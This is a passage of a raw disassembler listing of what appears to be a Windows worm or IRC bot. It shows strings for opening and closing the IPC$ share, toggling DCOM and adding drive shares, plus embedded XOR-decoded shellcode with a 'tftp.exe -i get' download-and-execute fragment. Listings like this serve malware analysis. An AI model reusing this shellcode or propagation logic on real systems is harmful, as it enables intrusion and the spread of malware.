aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo
					; sub_4149DE+EDo
		align 4
unk_437938	db    2			; DATA XREF: sub_4146BA+91o
					; sub_4149DE+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_43797C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4146BA:loc_414727o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_4379AC	db    2			; DATA XREF: sub_4146BA+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4146BA+54o
					; sub_4149DE+54o
		align 10h
word_4379F0	dw 4Eh			; DATA XREF: sub_4146BA+38r
		align 4
unk_4379F4	db    2			; DATA XREF: sub_4149DE+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149DE+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149DE+219o
unk_437A38	db    2			; DATA XREF: sub_4149DE:loc_414B7Do
					; sub_4149DE:loc_414C4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A74	db    2			; DATA XREF: sub_4149DE+198o
					; sub_4149DE+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_437AA8	db    2			; DATA XREF: sub_4149DE:loc_414B05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_437AF8	db    2			; DATA XREF: sub_4149DE:loc_414AE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437B40	db    2			; DATA XREF: sub_4149DE+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B90	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149DE:loc_414A4Bo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437BC0	db    2			; DATA XREF: sub_4149DE+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_437BF8	dw 59h			; DATA XREF: sub_4149DE+38r
		align 4

loc_437BFC:				; DATA XREF: sub_414E8C+C4o
		jmp	short loc_437C00
; ---------------------------------------------------------------------------

loc_437BFE:				; CODE XREF: .nsp0:loc_437C00p
		jmp	short loc_437C05
; ---------------------------------------------------------------------------

loc_437C00:				; CODE XREF: .nsp0:loc_437BFCj
		call	loc_437BFE

loc_437C05:				; CODE XREF: .nsp0:loc_437BFEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437C0A	dw 0FFFFh		; DATA XREF: sub_414E8C+CCw
		db 80h,	73h, 0Eh
byte_437C0F	db 0FFh			; DATA XREF: sub_414E8C+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_437C14:				; DATA XREF: sub_414E8C+A2o
		jmp	short loc_437C18
; ---------------------------------------------------------------------------

loc_437C16:				; CODE XREF: .nsp0:loc_437C18p
		jmp	short loc_437C1D
; ---------------------------------------------------------------------------

loc_437C18:				; CODE XREF: .nsp0:loc_437C14j
		call	loc_437C16

loc_437C1D:				; CODE XREF: .nsp0:loc_437C16j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437C21	db 0FFh			; DATA XREF: sub_414E8C+AAw
		dw 7380h
		db 0Ch
byte_437C25	db 0FFh			; DATA XREF: sub_414E8C+B0w
		dw 0E243h
		dd 0F9h
dword_437C2C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414D15+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C90	dd 12h			; DATA XREF: sub_414D15+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414D15+79o
aJ_0		db 'j',0
		db 0E8h
dword_437CA9	dd 17h			; DATA XREF: sub_414D15+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437CB0
		retn
; ---------------------------------------------------------------------------
byte_437CB0	db 0E8h			; CODE XREF: .nsp0:00437CADj
dword_437CB1	dd 1			; DATA XREF: sub_414D15+45w
byte_437CB5	db 0, 6Ah, 0		; DATA XREF: sub_414D15+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437CBF	dd 0FFFFFFEDh		; DATA XREF: sub_414D15+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_415050+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o
dword_437D40	dd 1			; DATA XREF: sub_415539+4w sub_415543r ...
		align 10h
dword_437D50	dd 173Fh		; DATA XREF: sub_415E6C+Dr
		dd 9875h, 9873h
off_437D5C	dd offset sub_415F3B	; DATA XREF: sub_4177FAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D68	dd 1B3Fh		; DATA XREF: sub_415FB3+Dr
dword_437D6C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_416435+2o
					; sub_41643E+2o
off_437D80	dd offset sub_417838	; DATA XREF: sub_417BEE+1Cr
dword_437D84	dd 2			; DATA XREF: sub_41CEE0+Er
					; sub_41CF19+46r ...
off_437D88	dd offset aNull_0	; DATA XREF: sub_417D4C:loc_4180B0r
					; sub_417D4C+457r
					; "(null)"
off_437D8C	dd offset aNull		; DATA XREF: sub_417D4C+259r
					; "(null)"
off_437D90	dd offset word_437D9A	; DATA XREF: sub_4159D4+23r
					; sub_4159D4:loc_415A35r ...
		dd offset word_437D9A
		db 2 dup(0)
word_437D9A	dw 20h			; DATA XREF: sub_41E6BD+18r
					; .nsp0:off_437D90o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F9C	dd 1			; DATA XREF: sub_4159D4:loc_4159DCr
					; sub_4159D4:loc_415A20r ...
byte_437FA0	db 2Eh			; DATA XREF: sub_419F18:loc_419F58r
					; .nsp0:00419F76r ...
		align 4
		dd 1, 10h
dword_437FAC	dd 3F8h			; DATA XREF: sub_415E07+5r
					; sub_4174DF+4Dr ...
dword_437FB0	dd 14h			; DATA XREF: sub_419C61+2o
off_437FB4	dd offset aExp		; DATA XREF: sub_419C61:loc_419C7Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438088	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+B7r
					; sub_41999C:loc_419A83r ...
		dd 0
		dd 0FFF80000h
dbl_438098	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+92r
					; sub_41999C:loc_419A5Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4380B0	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
					; sub_419E49+1Fr
		align 4
tbyte_4380BC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
		align 4
off_4380C8	dd offset sub_41DEF9	; DATA XREF: sub_415F53+Fw
					; sub_417D4C+3AAr
off_4380CC	dd offset sub_41DEF9	; DATA XREF: sub_415F53+5w
					; sub_417D4C+3E2r
off_4380D0	dd offset sub_41DEF9	; DATA XREF: sub_415F53+14w
					; sub_41AD3D+430r
off_4380D4	dd offset sub_41DEF9	; DATA XREF: sub_415F53+1Ew
					; sub_417D4C+3CBr
off_4380D8	dd offset sub_41DEF9	; DATA XREF: sub_415F53+28w
off_4380DC	dd offset sub_41DEF9	; DATA XREF: sub_415F53+32w
		dd offset sub_41DF02
		align 10h
		dd offset sub_41AB9C
off_4380F4	dd offset sub_41AB9C	; DATA XREF: sub_41ABF2+29r
dword_4380F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41AD3D:loc_41B2A4o
dword_438100	dd 5Dh,	0		; DATA XREF: sub_41AD3D:loc_41B194o
byte_438108	db 1			; DATA XREF: sub_41BFC0+E1r
		db 2, 4, 8
		align 10h
dword_438110	dd 3A4h			; DATA XREF: sub_41BFC0+2Fo
dword_438114	dd 82798260h, 21h, 0	; DATA XREF: sub_41BFC0+11Dr
dword_438120	dd 0DFA6h		; DATA XREF: sub_41BFC0+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_438200	dd 1			; DATA XREF: sub_41BFC0+3Co
					; sub_41C5D7+Co
dword_438204	dd 16h			; DATA XREF: sub_41C5D7:loc_41C60Cr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438368	dd 0C0000005h		; DATA XREF: sub_41C5D7+19o
					; sub_41C77F+Ar ...
dword_43836C	dd 0Bh			; DATA XREF: sub_41F3C4+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4383E0	dd 3			; DATA XREF: sub_41C63E+58r
					; sub_41F297+C8r
dword_4383E4	dd 7			; DATA XREF: sub_41C63E+5Er
					; sub_41F297+CDr
dword_4383E8	dd 0Ah			; DATA XREF: sub_41C77F+4r
					; sub_41F3C4+4r
dword_4383EC	dd 8Ch			; DATA XREF: sub_41C63E+82r
					; sub_41C63E+8Fw ...
dword_4383F0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_417C37:loc_417CF4o
					; sub_41B8B0:loc_41B931o
dword_4383F8	dd 2			; DATA XREF: sub_41CF19+Eo
					; sub_41CF19+28r
off_4383FC	dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
					; sub_41CF19+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh
		dd 0FFh, 421890h
off_438488	dd offset dword_4697C0	; DATA XREF: sub_41CF19+1Bo
					; sub_41D0D6+55o
		align 10h
		dd offset dword_4697C0
		dd 101h
dword_438498	dd 2 dup(0)		; DATA XREF: sub_41D0D6+72o
		dd 1000h, 0
dword_4384A8	dd 3 dup(0)		; DATA XREF: sub_417C37+50o
					; sub_4187B6+12o
		dd 2, 1, 3 dup(0)
dword_4384C8	dd 3 dup(0)		; DATA XREF: sub_417C37+58o
					; sub_4187B6:loc_4187D4o
		dd 2 dup(2), 7 dup(0)
dword_4384F8	dd 84h dup(0)		; DATA XREF: sub_41D0D6+9Bo
dword_438708	dd 2694h		; DATA XREF: sub_4195FE+3r
					; sub_419651+46r ...
		align 10h
dword_438710	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41DCE2o
dword_438728	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCF8o
dword_438740	dd 7080h		; DATA XREF: sub_41B7EE+76r
					; sub_41E162+5Ew ...
dword_438744	dd 1			; DATA XREF: sub_41B7EE+98r
					; sub_41E162+8Bw ...
dword_438748	dd 0FFFFF1F0h		; DATA XREF: sub_41B7EE:loc_41B8A0r
					; sub_41E162+94w ...
dword_43874C	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_4387CCo
dword_43878C	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_4387D0o
off_4387CC	dd offset dword_43874C	; DATA XREF: sub_41E162+BAr
					; sub_41E162+D9r ...
off_4387D0	dd offset dword_43878C	; DATA XREF: sub_41E162+F4r
					; sub_41E162+11Br ...
		align 8
dword_4387D8	dd 0FFFFFFFFh		; DATA XREF: sub_41E162+1Dw
					; sub_41E3C0+1Er ...
dword_4387DC	dd 0			; DATA XREF: sub_41E3C0:loc_41E4F4r
					; sub_41E56C+BFw
dword_4387E0	dd 0			; DATA XREF: sub_41E3C0+192r
					; sub_41E56C+E0w
		align 8
dword_4387E8	dd 0FFFFFFFFh		; DATA XREF: sub_41E162+17w
					; sub_41E3C0+26r ...
dword_4387EC	dd 0			; DATA XREF: sub_41E3C0+13Ar
					; sub_41E56C+EAw ...
dword_4387F0	dd 0			; DATA XREF: sub_41E3C0+1A1r
					; sub_41E56C+23r ...
dword_4387F4	dd 0FFFFFFFFh		; DATA XREF: sub_41E56C+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_438824	dd 16Dh			; DATA XREF: sub_41B7EE+2Ar
					; sub_41E56C+2Er ...
dword_438828	dd 0FFFFFFFFh		; DATA XREF: sub_41E56C:loc_41E5F8r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438860	dd 2 dup(0)		; DATA XREF: sub_41F71C+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4389C0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F71C+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438B20	dd offset off_421CB4	; DATA XREF: .nsp0:off_421CD8o
					; .nsp0:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438B38	dd offset off_421CB4	; DATA XREF: .nsp0:off_421CF0o
					; .nsp0:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B58	dd offset off_421CB4	; DATA XREF: .nsp0:off_421D08o
					; .nsp0:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B78	dd offset off_421CB4	; DATA XREF: .nsp0:off_421D90o
					; .nsp0:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B98	dd offset off_421CB4	; DATA XREF: .nsp0:off_421E10o
					; .nsp0:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DF02
		align 8
byte_438BB8	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_438BBA	dw 0			; DATA XREF: sub_401447+1E3w
word_438BBC	dw 0			; DATA XREF: sub_401447+1E9w
word_438BBE	dw 0			; DATA XREF: sub_401447+1F0w
byte_438BC0	db 0			; DATA XREF: sub_401447+1F7w
byte_438BC1	db 0			; DATA XREF: sub_401447+1FEw
word_438BC2	dw 0			; DATA XREF: sub_401447+204w
dword_438BC4	dd 0			; DATA XREF: sub_401447+234w
					; sub_401447+250w
dword_438BC8	dd 0			; DATA XREF: sub_401447+258w
byte_438BCC	db 0			; DATA XREF: sub_401447+26Aw
byte_438BCD	db 0			; DATA XREF: sub_401447+27Dw
word_438BCE	dw 0			; DATA XREF: sub_401447+295w
word_438BD0	dw 0			; DATA XREF: sub_401447+2A4w
word_438BD2	dw 0			; DATA XREF: sub_401447+29Cw
dword_438BD4	dd 101h	dup(0)		; DATA XREF: sub_401447+2B9o
dword_438FD8	dd 0			; DATA XREF: sub_402FDD+9Eo
byte_438FDC	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438FE0	dd 0			; DATA XREF: sub_4036D4+10w
					; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438FEC	dd 2 dup(0)		; DATA XREF: sub_404532+68o
dword_438FF4	dd 0			; DATA XREF: sub_403FD2+13o
					; sub_40CE55+5B71o ...
dword_438FF8	dd 0			; DATA XREF: sub_405A0C+2Aw
					; sub_405A0C+51r ...
dword_438FFC	dd 0			; DATA XREF: sub_4036EB+AEr
					; .nsp0:0040494Cr ...
		dd 2 dup(0)
dword_439008	dd 0			; DATA XREF: sub_4071FF+18r
					; sub_407652+92w ...
dword_43900C	dd 0			; DATA XREF: sub_40778B+4Dr
					; sub_40799F+D9w ...
		dd 256h	dup(0)
dword_439968	dd 6 dup(0)		; DATA XREF: sub_40778B+CFo
					; sub_40778B+138o ...
dword_439980	dd 0			; DATA XREF: sub_407276+82w
					; sub_407276+102o
dword_439984	dd 41h dup(0)		; DATA XREF: sub_407276+41o
dword_439A88	dd 41h dup(0)		; DATA XREF: sub_407276+63o
dword_439B8C	dd 0			; DATA XREF: sub_407276+F8w
					; sub_407276+114r
dword_439B90	dd 0			; DATA XREF: sub_407276+52w
dword_439B94	dd 0			; DATA XREF: sub_407276+4Dw
					; sub_407276+CFr
dword_439B98	dd 20h dup(0)		; DATA XREF: sub_407276+9Ao
					; sub_407276+BAo
dword_439C18	dd 0			; DATA XREF: sub_407276+8Fw
dword_439C1C	dd 0			; DATA XREF: sub_407276+A7w
					; sub_407276+C7w
dword_439C20	dd 0			; DATA XREF: sub_407276:loc_4073A0r
		align 8
dword_439C28	dd 0			; DATA XREF: sub_407276+2D5w
					; sub_407276+32Eo
dword_439C2C	dd 0A2h	dup(0)		; DATA XREF: sub_407276+2C3o
dword_439EB4	dd 41h dup(0)		; DATA XREF: sub_407276+28Do
dword_439FB8	dd 0			; DATA XREF: sub_407276+2BAw
					; sub_407276+2E1r
		align 10h
dword_439FC0	dd 0			; DATA XREF: sub_407276+324w
					; sub_407276+340r
dword_439FC4	dd 0			; DATA XREF: sub_407276+2E7w
dword_439FC8	dd 0			; DATA XREF: sub_407276+2F4w
dword_439FCC	dd 0			; DATA XREF: sub_407276+2B4w
		dd 0
dword_439FD4	dd 0			; DATA XREF: sub_407276:loc_4075CCr
dword_439FD8	dd 0			; DATA XREF: sub_407276+1A1w
					; sub_407276+221o
dword_439FDC	dd 41h dup(0)		; DATA XREF: sub_407276+163o
dword_43A0E0	dd 41h dup(0)		; DATA XREF: sub_407276+182o
dword_43A1E4	dd 0			; DATA XREF: sub_407276+217w
					; sub_407276+233r
dword_43A1E8	dd 0			; DATA XREF: sub_407276+171w
dword_43A1EC	dd 0			; DATA XREF: sub_407276+1EEr
dword_43A1F0	dd 20h dup(0)		; DATA XREF: sub_407276+1B9o
					; sub_407276+1D9o
dword_43A270	dd 0			; DATA XREF: sub_407276+1AEw
dword_43A274	dd 0			; DATA XREF: sub_407276+1C6w
					; sub_407276+1E6w
dword_43A278	dd 0			; DATA XREF: sub_407276:loc_4074C0r
		align 10h
dword_43A280	dd 0			; DATA XREF: sub_4089F2+489w
					; sub_4089F2+4CDr
dword_43A284	dd 0			; DATA XREF: sub_4089F2+65w
					; sub_413DD2+F5r
dword_43A288	dd 0			; DATA XREF: sub_4089F2+7EDw
					; sub_4089F2+862r ...
dword_43A28C	dd 0			; DATA XREF: sub_4089F2+9BAw
					; sub_4089F2+A18r ...
dword_43A290	dd 0			; DATA XREF: sub_4089F2+96Cw
					; sub_4089F2+9E8r ...
dword_43A294	dd 0			; DATA XREF: sub_4089F2+46Fw
					; sub_4089F2+4BDr
dword_43A298	dd 0			; DATA XREF: sub_4021FB+ECr
					; sub_4021FB+109r ...
dword_43A29C	dd 0			; DATA XREF: sub_4089F2+9ADw
					; sub_4089F2+A10r ...
dword_43A2A0	dd 0			; DATA XREF: sub_4089F2+354w
					; sub_4089F2+3A9r ...
dword_43A2A4	dd 0			; DATA XREF: sub_4089F2+3F1w
					; sub_40AAD1+11Er
dword_43A2A8	dd 0			; DATA XREF: sub_4089F2+361w
					; sub_4089F2+3B1r ...
dword_43A2AC	dd 0			; DATA XREF: sub_4089F2+3A2w
					; sub_4133C0+ADr
dword_43A2B0	dd 0			; DATA XREF: sub_405B23+115r
					; sub_4084D3+7Dr ...
dword_43A2B4	dd 0			; DATA XREF: sub_4089F2+72w
					; sub_4089F2+D2r ...
dword_43A2B8	dd 0			; DATA XREF: sub_4089F2+95Fw
					; sub_4089F2+9DBr ...
dword_43A2BC	dd 0			; DATA XREF: sub_4089F2+388w
					; sub_4089F2+3C9r ...
